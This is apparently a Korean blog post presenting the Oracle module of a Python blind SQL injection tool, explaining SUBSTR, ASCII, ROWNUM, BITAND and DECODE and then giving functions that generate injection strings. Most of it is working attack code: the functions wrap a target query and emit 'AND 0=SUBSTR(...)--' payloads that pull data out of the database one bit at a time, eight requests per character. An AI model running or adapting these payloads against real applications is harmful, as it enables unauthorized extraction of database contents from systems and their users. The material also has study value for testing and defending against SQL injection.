▣ 구현(Oracle)

  1) Function

        - 추출하고자 하는 데이터의 길이를 조회하는 쿼리 반환

        - 데이터 길이만큼만 실제 데이터를 조회하는 쿼리 반환


  2) Oracle 내장함수

          : 모든 가능한 문자(a-z, !@#$&*...)를 대입하지 않고 해당 문자를
ASCII→BINARY→00000000 형태로 변환하여 총 8번 질의 시 1개의 문자를 추출


        - SUBSTR([문자열], [추출할 문자열의 위치], [추출할 문자열의 길이])

        - ASCII([문자열을 10진수 형태의 ASCII코드로 변환])

        - ROWNUM

          : 원하는 데이터 개수만큼 추출 (MySQL의 LIMIT와 동일)

          : 데이터 추출 → ROWNUM추가 → r=[ROWNUM] 조건을 추가

        - BITAND([값1], [값2])

          : ‘값1’과 ‘값2’를 2진수(BIT)로 변환 → AND연산 → 10진수 반환

        - DECODE([값1], [값2], [참값], [거짓값])

          : ‘값1’과 ‘값2’가 같으면 참값, 다르면 거짓값 반환


  3) CODE

#########################
# * function For Oracle #
#########################

# ORACLE : Get DataLengthQuery List(Inner)
"""
◈ getDataLengthQuery_oracle()
: mysql과 동일하게 데이터 길이를 조회하는 쿼리 반환
"""
def getDataLengthQuery_oracle(payload) :
    dataLengthQuery = []
    row = payload['row']

    for i in range(1, row+1) :
        sql = payload['sql']
        sql = sql.lower()
        sql = sql.split(' ')
        oriColNm = sql[1]

        idx = sql.index('select') + 1 
        sql[idx] = sql[idx].replace(sql[idx], 'length('+sql[idx]+')')
        sql.insert(3, '( select rownum r,')
        sql.insert(4, oriColNm+' from ( select ')
        sql.insert(5, oriColNm+' from ')
        sql.append(')) where r = ')
        sql.append(str(i))
        sql = ' '.join(sql)
        dataLengthQuery.append(sql)
    return dataLengthQuery


# Oracle : Make legnthQuery(Outer)
"""
◈ getLengthQuery_oracle()
: mysql과 동일하게 공격 파라미터에 삽입 될 실제 문자열 반환
"""
def getLengthQuery_oracle(frontStr, sqlList, i, j, k) : 
    query = frontStr + " AND 0=SUBSTR(("
    query += "(SELECT DECODE(BITAND(VALUE, 128), 128, '1', '0') ||"
    query += "DECODE(BITAND(VALUE, 64), 64, '1', '0') || "
    query += "DECODE(BITAND(VALUE, 32), 32, '1', '0') || "
    query += "DECODE(BITAND(VALUE, 16), 16, '1', '0') || "
    query += "DECODE(BITAND(VALUE, 8), 8, '1', '0') || "
    query += "DECODE(BITAND(VALUE, 4), 4, '1', '0') || "
    query += "DECODE(BITAND(VALUE, 2), 2, '1', '0') || "
    query += "DECODE(BITAND(VALUE, 1), 1, '1', '0') AS BIN FROM"
    query += "(SELECT(ASCII(SUBSTR(("
    query += sqlList[i]
    query += ")," + str(j) + ",1))) AS VALUE FROM DUAL))"
    query += "),"+str(k) + ",1)--"
    return query


# ORACLE : Get payloadQuery List
"""
◈ getQuery_oracle()
: mysql과 동일하게 데이터 길이만큼 LOOP를 실행하여 실제 데이터를 조회하는 쿼리 반환
"""
def getQuery_oracle(payload, result) :
    oracleQuerySet = []
    query = ''
    for l in range(0, payload['row']) :
        sql = payload['sql']
        sql = sql.lower()
        sql = sql.split(' ')
        oriColNm = sql[1]
        sql.insert(3, '( select rownum r,')
        sql.insert(4, oriColNm+' from ( select ')
        sql.insert(5, oriColNm+' from ')
        sql.append(')) where r = ')
        sql.append(str(l+1))
        sql = ' '.join(sql)
        
        for i in range(1, result[l] + 1):
            for j in range(1, 9) :
                query = ''
                query = payload['frontStr'] + " AND 0=SUBSTR(("
                query += "(SELECT DECODE(BITAND(VALUE, 128), 128, '1', '0') ||"
                query += "DECODE(BITAND(VALUE, 64), 64, '1', '0') || "
                query += "DECODE(BITAND(VALUE, 32), 32, '1', '0') || "
                query += "DECODE(BITAND(VALUE, 16), 16, '1', '0') || "
                query += "DECODE(BITAND(VALUE, 8), 8, '1', '0') || "
                query += "DECODE(BITAND(VALUE, 4), 4, '1', '0') || "
                query += "DECODE(BITAND(VALUE, 2), 2, '1', '0') || "
                query += "DECODE(BITAND(VALUE, 1), 1, '1', '0') AS BIN FROM"
                query += "(SELECT(ASCII(SUBSTR(("
                query += sql
                query += ")," + str(i) + ",1))) AS VALUE FROM DUAL))"
                query += "),"+str(j) + ",1)--"
                oracleQuerySet.append(query)
    return oracleQuerySet


다른 카테고리의 글 목록

Python/Tools 카테고리의 포스트를 톺아봅니다